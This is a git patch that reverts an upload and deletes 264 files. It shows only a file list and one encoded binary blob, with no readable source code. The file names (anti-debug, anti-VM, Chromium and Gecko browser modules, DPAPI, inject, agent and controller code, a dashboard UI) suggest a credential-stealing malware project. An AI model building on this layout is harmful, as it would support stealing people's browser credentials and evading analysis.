From d5de70103a3861032bcc2789205a967749204f88ccfbb485cccf6b2a6bfb1ffd Mon Sep 17 00:00:00 2001 From: serpent256 Date: Mon, 22 Dec 2025 15:14:23 +0000 Subject: [PATCH] revert 0e53a7b269bd32f1127568373f1b1c648fe2443abb89c819bf8ae49b19a27ed3 revert Upload files to "/" --- 000d03c131d31a82c4a6e97baef3d1fee1a163 | Bin 5955 -> 0 bytes 03c4004b1bd35ed38d945a6e7a38971b490caa | Bin 19342 -> 0 bytes 06a0c5225d60110aa917abfab92e3359975ea4 | Bin 154 -> 0 bytes 094b2361a465ea6a2e20e4d5d77641f4662392 | Bin 1560 -> 0 bytes 09c2cc19c96b001ac76e96f27e5fa1a9e56577 | Bin 3337 -> 0 bytes 0a7b70db633f6a03c85292861ac85e305b2ef7 | Bin 110 -> 0 bytes 0aed55843c8fbee673bfedb4314f9343ca1eb6 | Bin 85 -> 0 bytes 0c391ddd1088e9067844c48835bf4abcd61783 | 2 - 0f62794fc1ce40770e43524c4a2035bc7f802c | Bin 854 -> 0 bytes 0fe1dfef3b17850bbac040665f514a8ffd0f15 | 1 - 128x128.png | Bin 16530 -> 0 bytes 13563b62f23407854f6941fb2f0c66135a2fe7 | 5 - 14125ac48b874740770da80d9e424daf1db58b | Bin 1439 -> 0 bytes 148e10136014b1b819c373216ee8c3886a5f4d | 2 - 16351fa7ed9c304e66384dd9f11976095c86ca | Bin 1168 -> 0 bytes 1bd681d99748c046b14202ab79bd8da0143302 | Bin 133 -> 0 bytes 1f56ecb117e96284bf0f6cad3b14ea2fdf5264 | Bin 455 -> 0 bytes 225c4b4cd6014fca36707ce6274c9037f720eb | Bin 1336 -> 0 bytes 2d751abaabebaf474410ff001b5372c4d07e75 | Bin 788 -> 0 bytes 2d8183e50ec8503d7814045a125b5c939797fb | Bin 638 -> 0 bytes 2df7a98af2b314e37cd83f73a41d0b51174857 | 1 - 2e714959e16153e9b2af12cb24707ee48efdc8 | 4 - 315322d49605c5e24c535430d3439eeb36c153 | Bin 495 -> 0 bytes 31cd475d10b9f59763f0fa0d1101810a9d86da | Bin 50201 -> 0 bytes 32x32.png | Bin 2262 -> 0 bytes 335488aa68335b16859fef727a8232419c014a | 1 - 34610f5c916780bf49ffd2397ec4190e66df53 | Bin 1605 -> 0 bytes 34e900c61899e7389f4dbc01d28362ea6ff129 | Bin 725 -> 0 bytes 3d6b75c3e136037093e1420d9bb2cdbb7653a1 | Bin 341 -> 0 bytes 3e7a281287e18b1c332498491b6bcc8d8e2b70 | Bin 146 -> 0 bytes 3faa793819982d64e21cb2939666fd6d4a7b13 | Bin 375 -> 0 bytes 47bf36d8d11a4f89c59c144f24795749086dd1 | Bin 173 -> 0 bytes 491e63a5c2436d494d1589f4d0e15dea173917 | Bin 16475 -> 0 bytes 52b5a81e961bcbcc21c9ca6cd39d0d0ab807a9 | Bin 2257 -> 0 bytes 57fa4fff5781acfe87ce2964ce88a7ac51b99d | Bin 4709 -> 0 bytes 5a1f045e1372771330439ab19f9a9dc3a14cfb | Bin 113921 -> 0 bytes 5b8e425740bee97180fca9484b7701903b2a88 | Bin 500 -> 0 bytes 5d2f6f4506b192b0820a6776e34da0f53981a9 | Bin 1495 -> 0 bytes 5ef59a181ad5aafe59920bf389e6ef05fa483c | Bin 144 -> 0 bytes 5f0dd6534a3813f67f47959f492eb39b258e0b | Bin 57 -> 0 bytes 60e1e6a7cac333c3cc0bc9cb67faf286b07d69 | Bin 50 -> 0 bytes 60eee0bdea6c49d19f7e11071c3dd13c29e218 | Bin 1599 -> 0 bytes 613c9fc8a52620633e33c4fc8e28b364ef6598 | 1 - 6411559f986d4fdd3074614294aafe49675c2c | Bin 114 -> 0 bytes 67edff67a48c6ac1c46f25a6d468dd461e66cb | Bin 344 -> 0 bytes 6f57d70fdfa4bb950b01f499025d57238bdf6d | Bin 311 -> 0 bytes 73a22f239b1812db9a672cc784a6282cbce7d5 | 3 - 75b498588c9a88cd2f2194f57173c348ab8b70 | Bin 577 -> 0 bytes 7af2b7f1a6f391da1631d93968a9d487ba977d | Bin 82 -> 0 bytes 7dbf5a04c8bf3d93cf2e46fc0108c4e654c9ca | 1 - 7f12265ba0338704f013930ce4d52c56527dd1 | Bin 373 -> 0 bytes 7fac0bea9c8c07ef800db0be017c2f9043b7e7 | Bin 154 -> 0 bytes 813ffc5fc09f7be6c2931ede1ff14eaf753da8 | Bin 23631 -> 0 bytes 840fa80cf53efdbb98b8d1203c843a4105f07a | Bin 415 -> 0 bytes 868258fb066a66c14cd288fbb63454a6cd11ae | Bin 1850 -> 0 bytes 8750398e55785bdb73413ca3bb014daa7a0b39 | Bin 2053 -> 0 bytes 87de9bb3358469122cc991d5cf578927246184 | Bin 2192 -> 0 bytes 8d1835f790e84a73bfdbe2feddb1dd14cb34ab | Bin 515 -> 0 bytes 8dfed112d9d4000f403639c54e965332fb56d4 | 1 - 8e9c6126b3f697a0d09290af4910536f6d1610 | Bin 221 -> 0 bytes 8f8a213ce8b31460beb393fa78259c94de4812 | Bin 1618 -> 0 bytes 91b2a9ac9c4130aac4e36fd96c7c4561640a35 | Bin 354 -> 0 bytes 9723dd03ce6fc8d0ecb558dfde9742b726cef8 | Bin 322 -> 0 bytes 9747ac48c98fe81552afc2710727da20723e5f | Bin 1437 -> 0 bytes 9a3f674e97fd510a140504ed49e522d40b60c0 | Bin 221 -> 0 bytes 9de29bb2d1d6434b8b29ae775ad8c2e48c5391 | Bin 15 -> 0 bytes 9ffcbe1515bc50b4038630591f21bc480d5836 | Bin 1331 -> 0 bytes App.scss | 254 - App.tsx | 80 - COMMIT_EDITMSG | 1 - Cargo.lock | 4319 ----------------- Cargo.toml | 24 - HEAD | 1 - LICENSE | Bin 1024 -> 1211 bytes LICENSE.txt | Bin 1024 -> 0 bytes README.md | 6 +- README.txt | Bin 1024 -> 0 bytes a0271a3edd26e93be3b0531893f9ce6ae89502 | Bin 383 -> 0 bytes acl-manifests.json | 1 - aead.d | 198 - aes.d | 549 --- afdaf24faa01851ba7289551b576a3bd857a88 | Bin 1271 -> 0 bytes agent.go | 18 - alert.tsx | 59 - angel.d | 76 - angel.png | Bin 114829 -> 0 bytes anti_analysis.d | Bin 1024 -> 0 bytes anti_debug.d | Bin 1024 -> 0 bytes anti_vm.d | Bin 1024 -> 0 bytes applypatch-msg.sample | 15 - avatar.tsx | 48 - b2cf74e657328ae3aae298960a1609c11ed288 | Bin 321 -> 0 bytes b418dd3cfa9293d1ee84637e8c56bdb7a2c405 | Bin 1397 -> 0 bytes b6d4dff070983e76a132130dc11b0c71544284 | Bin 1387 -> 0 bytes bitmanip.d | 416 -- blockcipher.d | 191 - browser.d | 64 - build.rs | 3 - bun.lockb | Bin 143574 -> 0 bytes button.tsx | 57 - c03db55abcf2e1435fdce78be630c6d51761b5 | Bin 2091 -> 0 bytes c0b2fc152a086447a04f62793957235d2475be | Bin 54 -> 0 bytes c15a57ae5fb5796a4ba8a65285a53d883900ed | Bin 106 -> 0 bytes c25aafb088560af604bd6310abc15b4efefbc0 | Bin 103006 -> 0 bytes c53d42f9f25e1d548145586b31eaa53dffe55d | Bin 177 -> 0 bytes capabilities.json | 1 - card.tsx | 76 - ccf670dd831f8f8f0d16fa6bbafed49de4af37 | Bin 21 -> 0 bytes cd8d653d176783000c3b8288261a263d988648 | 4 - checkbox.tsx | 28 - chromium.d | 77 - clean.d | 9 - close.svg | 152 - close_hover.svg | 161 - collapsible.tsx | 9 - command.tsx | 153 - commands.rs | 14 - commit-msg.sample | 24 - components.json | 20 - conf.go | 3 - config | 13 - config.d | 188 - config.py | 2 - conn.d | 58 - conn.go | 43 - conn.py | 18 - constants.d | 36 - constants.py | 17 - consts.go | 11 - context-menu.tsx | 202 - controller.go | 7 - cryptmeow.go | 23 - cryptography.d | 33 - curve25519.d | 136 - d5ffe1d102926748f901e25a9aa2e4556c09bf | Bin 478 -> 0 bytes d7b98a17f63ffc3ae473e8d5f0b23106.jpg | Bin 24555 -> 0 bytes d7cc6de8e0b4d34e998fb0e0a195a20dc4b213 | Bin 87 -> 0 bytes d83beab3224580318b1dd85f93e9294fae32c0 | Bin 587 -> 0 bytes dash.tsx | 542 --- database.go | 22 - dc1d66ab5752bb8929bbb4ca0daee1df5f30da | Bin 53 -> 0 bytes dc2f5b15f290952f28a6983d56a879d5273ffe | Bin 471 -> 0 bytes decrypt.py | 99 - default.json | 7 - description | 1 - desktop-schema.json | 2054 -------- dev.txt | 5 - df655c0bf26af1148d038e1d013e884663b240 | Bin 743 -> 0 bytes df7b032ac5c00ad810290ae5a43147d8a5a15c | Bin 1779 -> 0 bytes dfe4517cce0368cb915f71ed4c31d129f41ad3 | Bin 1787 -> 0 bytes dialog.tsx | 120 - dpapi.d | 46 - dropdown-menu.tsx | 203 - dub.json | 12 - e14e5b9b3e8bcd0924ce26a8f7968d9286e01f | Bin 248 -> 0 bytes e45f7bd315f86eabf32f2c9425223417920e60 | Bin 209 -> 0 bytes e47c7f3928e77b0ae37111f3c9fa5a2ec8191a | Bin 55 -> 0 bytes e4c8a8572ad5e409f338a9cac4903f9d4884f0 | Bin 715 -> 0 bytes e5908502d3c4f8959edc0ceb2412bf68bd06bf | Bin 648 -> 0 bytes e8cf65d5a4dd47078fc24f81386390c6ff671e | Bin 29228 -> 0 bytes e9d41c43aae32ee5314e0006e01345589570f4 | Bin 89 -> 0 bytes e9f0ddf513b0255b3da969c78addbd065f26fe | 1 - e9fb789bf225de3ed80bd10e833ba5495a109d | Bin 527 -> 0 bytes eb5481d40aa353e881435879fca2effb6355ed | Bin 381 -> 0 bytes eb602921a9b6ea7af2a77488a77c323d2448ae | 1 - exceptions.d | 36 - exclude | 6 - extensions.json | 3 - extra.go | 48 - f02fe2a0061d6e6e1f271b21da95423b448b32 | Bin 54 -> 0 bytes f2154c538f2c1e4cc57a4f10adc8eafb37dc72 | Bin 344 -> 0 bytes f26b2c1a97d79e49a2de86832d7c7ef2090c83 | Bin 452 -> 0 bytes fd41d142c95c74069ebb5460117e74ead3b9df | Bin 647 -> 0 bytes ff930abcc1a7f2b234b511b366de31effb0d22 | Bin 1265 -> 0 bytes fieldelem.d | 1239 ----- form.tsx | 176 - fsmonitor-watchman.sample | 174 - galoisfield.d | 331 -- gcm.d | 840 ---- gecko.d | 20 - generator.py | 25 - ghash.d | 373 -- git | Bin 1024 -> 0 bytes global.ts | 24 - go.mod | 8 - go.sum | 4 - handler.go | 36 - icon.icns | Bin 34216 -> 0 bytes icon.ico | Bin 210255 -> 0 bytes index | Bin 9122 -> 0 bytes index.html | 14 - init.d | 14 - inject.d | 2 - input.tsx | 25 - label.tsx | 24 - layout.tsx | 50 - lib.rs | 27 - linux-schema.json | 2054 -------- linux_core.d | Bin 1024 -> 0 bytes logger.py | 18 - logging.d | 58 - logging.go | 69 - main.d | 158 - main.go | 13 - main.py | 24 - main.rs | 5 - main.tsx | 14 - maximize.svg | 151 - maximize_hover.svg | 161 - meow | 2 - minimize.svg | 151 - minimize_hover.svg | 165 - mod.py | 11 - multiplier.d | 493 -- oneko.gif | Bin 3316 -> 0 bytes oneko.js | 162 - ...55bdaf8891c3384e0d38a9a6561d2b59ddbfae.idx | Bin 1212 -> 0 bytes ...5bdaf8891c3384e0d38a9a6561d2b59ddbfae.pack | Bin 1603 -> 0 bytes ...55bdaf8891c3384e0d38a9a6561d2b59ddbfae.rev | Bin 72 -> 0 bytes package.json | 57 - packed-refs | 2 - parse.d | Bin 1024 -> 0 bytes popover.tsx | 31 - post-update.sample | 8 - postcss.config.js | 6 - pre-applypatch.sample | 14 - pre-commit.sample | 49 - pre-merge-commit.sample | 13 - pre-push.sample | 53 - pre-rebase.sample | 169 - pre-receive.sample | 24 - prepare-commit-msg.sample | 42 - privacy.tsx | 27 - push-to-checkout.sample | 78 - react.svg | 1 - sendemail-validate.sample | 77 - separator.tsx | 29 - serpent.d | 1030 ---- sheet.tsx | 138 - sidebar.tsx | 762 --- sign_in.tsx | 129 - sign_up.tsx | 228 - skeleton.tsx | 15 - splashscreen.tsx | 13 - table.tsx | 120 - tabs.tsx | 53 - tailwind.config.ts | 75 - tauri.conf.json | 34 - terms.tsx | 27 - threefish.d | 261 - toast.tsx | 127 - toaster.tsx | 33 - tooltip.tsx | 30 - tsconfig.json | 29 - tsconfig.node.json | 16 - update.sample | 128 - use-mobile.tsx | 19 - use-toast.ts | 191 - utils.d | 109 - utils.ts | 6 - vite-env.d.ts | 1 - vite.config.ts | 36 - windows-schema.json | 2054 -------- windows_core.d | Bin 1024 -> 0 bytes 264 files changed, 3 insertions(+), 24582 deletions(-) delete mode 100644 000d03c131d31a82c4a6e97baef3d1fee1a163 delete mode 100644 03c4004b1bd35ed38d945a6e7a38971b490caa delete mode 100644 06a0c5225d60110aa917abfab92e3359975ea4 delete mode 100644 094b2361a465ea6a2e20e4d5d77641f4662392 delete mode 100644 09c2cc19c96b001ac76e96f27e5fa1a9e56577 delete mode 100644 0a7b70db633f6a03c85292861ac85e305b2ef7 delete mode 100644 0aed55843c8fbee673bfedb4314f9343ca1eb6 delete mode 100644 0c391ddd1088e9067844c48835bf4abcd61783 delete mode 100644 0f62794fc1ce40770e43524c4a2035bc7f802c delete mode 100644 0fe1dfef3b17850bbac040665f514a8ffd0f15 delete mode 100644 128x128.png delete mode 100644 13563b62f23407854f6941fb2f0c66135a2fe7 delete mode 100644 14125ac48b874740770da80d9e424daf1db58b delete mode 100644 148e10136014b1b819c373216ee8c3886a5f4d delete mode 100644 16351fa7ed9c304e66384dd9f11976095c86ca delete mode 100644 1bd681d99748c046b14202ab79bd8da0143302 delete mode 100644 1f56ecb117e96284bf0f6cad3b14ea2fdf5264 delete mode 100644 225c4b4cd6014fca36707ce6274c9037f720eb delete mode 100644 2d751abaabebaf474410ff001b5372c4d07e75 delete mode 100644 2d8183e50ec8503d7814045a125b5c939797fb delete mode 100644 2df7a98af2b314e37cd83f73a41d0b51174857 delete mode 100644 2e714959e16153e9b2af12cb24707ee48efdc8 delete mode 100644 315322d49605c5e24c535430d3439eeb36c153 delete mode 100644 31cd475d10b9f59763f0fa0d1101810a9d86da delete mode 100644 32x32.png delete mode 100644 335488aa68335b16859fef727a8232419c014a delete mode 100644 34610f5c916780bf49ffd2397ec4190e66df53 delete mode 100644 34e900c61899e7389f4dbc01d28362ea6ff129 delete mode 100644 3d6b75c3e136037093e1420d9bb2cdbb7653a1 delete mode 100644 3e7a281287e18b1c332498491b6bcc8d8e2b70 delete mode 100644 3faa793819982d64e21cb2939666fd6d4a7b13 delete mode 100644 47bf36d8d11a4f89c59c144f24795749086dd1 delete mode 100644 491e63a5c2436d494d1589f4d0e15dea173917 delete mode 100644 52b5a81e961bcbcc21c9ca6cd39d0d0ab807a9 delete mode 100644 57fa4fff5781acfe87ce2964ce88a7ac51b99d delete mode 100644 5a1f045e1372771330439ab19f9a9dc3a14cfb delete mode 100644 5b8e425740bee97180fca9484b7701903b2a88 delete mode 100644 5d2f6f4506b192b0820a6776e34da0f53981a9 delete mode 100644 5ef59a181ad5aafe59920bf389e6ef05fa483c delete mode 100644 5f0dd6534a3813f67f47959f492eb39b258e0b delete mode 100644 60e1e6a7cac333c3cc0bc9cb67faf286b07d69 delete mode 100644 60eee0bdea6c49d19f7e11071c3dd13c29e218 delete mode 100644 613c9fc8a52620633e33c4fc8e28b364ef6598 delete mode 100644 6411559f986d4fdd3074614294aafe49675c2c delete mode 100644 67edff67a48c6ac1c46f25a6d468dd461e66cb delete mode 100644 6f57d70fdfa4bb950b01f499025d57238bdf6d delete mode 100644 73a22f239b1812db9a672cc784a6282cbce7d5 delete mode 100644 75b498588c9a88cd2f2194f57173c348ab8b70 delete mode 100644 7af2b7f1a6f391da1631d93968a9d487ba977d delete mode 100644 7dbf5a04c8bf3d93cf2e46fc0108c4e654c9ca delete mode 100644 7f12265ba0338704f013930ce4d52c56527dd1 delete mode 100644 7fac0bea9c8c07ef800db0be017c2f9043b7e7 delete mode 100644 813ffc5fc09f7be6c2931ede1ff14eaf753da8 delete mode 100644 840fa80cf53efdbb98b8d1203c843a4105f07a delete mode 100644 868258fb066a66c14cd288fbb63454a6cd11ae delete mode 100644 8750398e55785bdb73413ca3bb014daa7a0b39 delete mode 100644 87de9bb3358469122cc991d5cf578927246184 delete mode 100644 8d1835f790e84a73bfdbe2feddb1dd14cb34ab delete mode 100644 8dfed112d9d4000f403639c54e965332fb56d4 delete mode 100644 8e9c6126b3f697a0d09290af4910536f6d1610 delete mode 100644 8f8a213ce8b31460beb393fa78259c94de4812 delete mode 100644 91b2a9ac9c4130aac4e36fd96c7c4561640a35 delete mode 100644 9723dd03ce6fc8d0ecb558dfde9742b726cef8 delete mode 100644 9747ac48c98fe81552afc2710727da20723e5f delete mode 100644 9a3f674e97fd510a140504ed49e522d40b60c0 delete mode 100644 9de29bb2d1d6434b8b29ae775ad8c2e48c5391 delete mode 100644 9ffcbe1515bc50b4038630591f21bc480d5836 delete mode 100644 App.scss delete mode 100644 App.tsx delete mode 100644 COMMIT_EDITMSG delete mode 100644 Cargo.lock delete mode 100644 Cargo.toml delete mode 100644 HEAD delete mode 100644 LICENSE.txt delete mode 100644 README.txt delete mode 100644 a0271a3edd26e93be3b0531893f9ce6ae89502 delete mode 100644 acl-manifests.json delete mode 100644 aead.d delete mode 100644 aes.d delete mode 100644 afdaf24faa01851ba7289551b576a3bd857a88 delete mode 100644 agent.go delete mode 100644 alert.tsx delete mode 100644 angel.d delete mode 100644 angel.png delete mode 100644 anti_analysis.d delete mode 100644 anti_debug.d delete mode 100644 anti_vm.d delete mode 100644 applypatch-msg.sample delete mode 100644 avatar.tsx delete mode 100644 b2cf74e657328ae3aae298960a1609c11ed288 delete mode 100644 b418dd3cfa9293d1ee84637e8c56bdb7a2c405 delete mode 100644 b6d4dff070983e76a132130dc11b0c71544284 delete mode 100644 bitmanip.d delete mode 100644 blockcipher.d delete mode 100644 browser.d delete mode 100644 build.rs delete mode 100644 bun.lockb delete mode 100644 button.tsx delete mode 100644 c03db55abcf2e1435fdce78be630c6d51761b5 delete mode 100644 c0b2fc152a086447a04f62793957235d2475be delete mode 100644 c15a57ae5fb5796a4ba8a65285a53d883900ed delete mode 100644 c25aafb088560af604bd6310abc15b4efefbc0 delete mode 100644 c53d42f9f25e1d548145586b31eaa53dffe55d delete mode 100644 capabilities.json delete mode 100644 card.tsx delete mode 100644 ccf670dd831f8f8f0d16fa6bbafed49de4af37 delete mode 100644 cd8d653d176783000c3b8288261a263d988648 delete mode 100644 checkbox.tsx delete mode 100644 chromium.d delete mode 100644 clean.d delete mode 100644 close.svg delete mode 100644 close_hover.svg delete mode 100644 collapsible.tsx delete mode 100644 command.tsx delete mode 100644 commands.rs delete mode 100644 commit-msg.sample delete mode 100644 components.json delete mode 100644 conf.go delete mode 100644 config delete mode 100644 config.d delete mode 100644 config.py delete mode 100644 conn.d delete mode 100644 conn.go delete mode 100644 conn.py delete mode 100644 constants.d delete mode 100644 constants.py delete mode 100644 consts.go delete mode 100644 context-menu.tsx delete mode 100644 controller.go delete mode 100644 cryptmeow.go delete mode 100644 cryptography.d delete mode 100644 curve25519.d delete mode 100644 d5ffe1d102926748f901e25a9aa2e4556c09bf delete mode 100644 d7b98a17f63ffc3ae473e8d5f0b23106.jpg delete mode 100644 d7cc6de8e0b4d34e998fb0e0a195a20dc4b213 delete mode 100644 d83beab3224580318b1dd85f93e9294fae32c0 delete mode 100644 dash.tsx delete mode 100644 database.go delete mode 100644 dc1d66ab5752bb8929bbb4ca0daee1df5f30da delete mode 100644 dc2f5b15f290952f28a6983d56a879d5273ffe delete mode 100644 decrypt.py delete mode 100644 default.json delete mode 100644 description delete mode 100644 desktop-schema.json delete mode 100644 dev.txt delete mode 100644 df655c0bf26af1148d038e1d013e884663b240 delete mode 100644 df7b032ac5c00ad810290ae5a43147d8a5a15c delete mode 100644 dfe4517cce0368cb915f71ed4c31d129f41ad3 delete mode 100644 dialog.tsx delete mode 100644 dpapi.d delete mode 100644 dropdown-menu.tsx delete mode 100644 dub.json delete mode 100644 e14e5b9b3e8bcd0924ce26a8f7968d9286e01f delete mode 100644 e45f7bd315f86eabf32f2c9425223417920e60 delete mode 100644 e47c7f3928e77b0ae37111f3c9fa5a2ec8191a delete mode 100644 e4c8a8572ad5e409f338a9cac4903f9d4884f0 delete mode 100644 e5908502d3c4f8959edc0ceb2412bf68bd06bf delete mode 100644 e8cf65d5a4dd47078fc24f81386390c6ff671e delete mode 100644 e9d41c43aae32ee5314e0006e01345589570f4 delete mode 100644 e9f0ddf513b0255b3da969c78addbd065f26fe delete mode 100644 e9fb789bf225de3ed80bd10e833ba5495a109d delete mode 100644 eb5481d40aa353e881435879fca2effb6355ed delete mode 100644 eb602921a9b6ea7af2a77488a77c323d2448ae delete mode 100644 exceptions.d delete mode 100644 exclude delete mode 100644 extensions.json delete mode 100644 extra.go delete mode 100644 f02fe2a0061d6e6e1f271b21da95423b448b32 delete mode 100644 f2154c538f2c1e4cc57a4f10adc8eafb37dc72 delete mode 100644 f26b2c1a97d79e49a2de86832d7c7ef2090c83 delete mode 100644 fd41d142c95c74069ebb5460117e74ead3b9df delete mode 100644 ff930abcc1a7f2b234b511b366de31effb0d22 delete mode 100644 fieldelem.d delete mode 100644 form.tsx delete mode 100644 fsmonitor-watchman.sample delete mode 100644 galoisfield.d delete mode 100644 gcm.d delete mode 100644 gecko.d delete mode 100644 generator.py delete mode 100644 ghash.d delete mode 100644 git delete mode 100644 global.ts delete mode 100644 go.mod delete mode 100644 go.sum delete mode 100644 handler.go delete mode 100644 icon.icns delete mode 100644 icon.ico delete mode 100644 index delete mode 100644 index.html delete mode 100644 init.d delete mode 100644 inject.d delete mode 100644 input.tsx delete mode 100644 label.tsx delete mode 100644 layout.tsx delete mode 100644 lib.rs delete mode 100644 linux-schema.json delete mode 100644 linux_core.d delete mode 100644 logger.py delete mode 100644 logging.d delete mode 100644 logging.go delete mode 100644 main.d delete mode 100644 main.go delete mode 100644 main.py delete mode 100644 main.rs delete mode 100644 main.tsx delete mode 100644 maximize.svg delete mode 100644 maximize_hover.svg delete mode 100644 meow delete mode 100644 minimize.svg delete mode 100644 minimize_hover.svg delete mode 100644 mod.py delete mode 100644 multiplier.d delete mode 100644 oneko.gif delete mode 100644 oneko.js delete mode 100644 pack-5755bdaf8891c3384e0d38a9a6561d2b59ddbfae.idx delete mode 100644 pack-5755bdaf8891c3384e0d38a9a6561d2b59ddbfae.pack delete mode 100644 pack-5755bdaf8891c3384e0d38a9a6561d2b59ddbfae.rev delete mode 100644 package.json delete mode 100644 packed-refs delete mode 100644 parse.d delete mode 100644 popover.tsx delete mode 100644 post-update.sample delete mode 100644 postcss.config.js delete mode 100644 pre-applypatch.sample delete mode 100644 pre-commit.sample delete mode 100644 pre-merge-commit.sample delete mode 100644 pre-push.sample delete mode 100644 pre-rebase.sample delete mode 100644 pre-receive.sample delete mode 100644 prepare-commit-msg.sample delete mode 100644 privacy.tsx delete mode 100644 push-to-checkout.sample delete mode 100644 react.svg delete mode 100644 sendemail-validate.sample delete mode 100644 separator.tsx delete mode 100644 serpent.d delete mode 100644 sheet.tsx delete mode 100644 sidebar.tsx delete mode 100644 sign_in.tsx delete mode 100644 sign_up.tsx delete mode 100644 skeleton.tsx delete mode 100644 splashscreen.tsx delete mode 100644 table.tsx delete mode 100644 tabs.tsx delete mode 100644 tailwind.config.ts delete mode 100644 tauri.conf.json delete mode 100644 terms.tsx delete mode 100644 threefish.d delete mode 100644 toast.tsx delete mode 100644 toaster.tsx delete mode 100644 tooltip.tsx delete mode 100644 tsconfig.json delete mode 100644 tsconfig.node.json delete mode 100644 update.sample delete mode 100644 use-mobile.tsx delete mode 100644 use-toast.ts delete mode 100644 utils.d delete mode 100644 utils.ts delete mode 100644 vite-env.d.ts delete mode 100644 vite.config.ts delete mode 100644 windows-schema.json delete mode 100644 windows_core.d diff --git a/000d03c131d31a82c4a6e97baef3d1fee1a163 b/000d03c131d31a82c4a6e97baef3d1fee1a163 deleted file mode 100644 index d76cb413dd11312f75393ebd289f902710374c96a71084fef1dafe5ebc5f6cf7..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5955 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 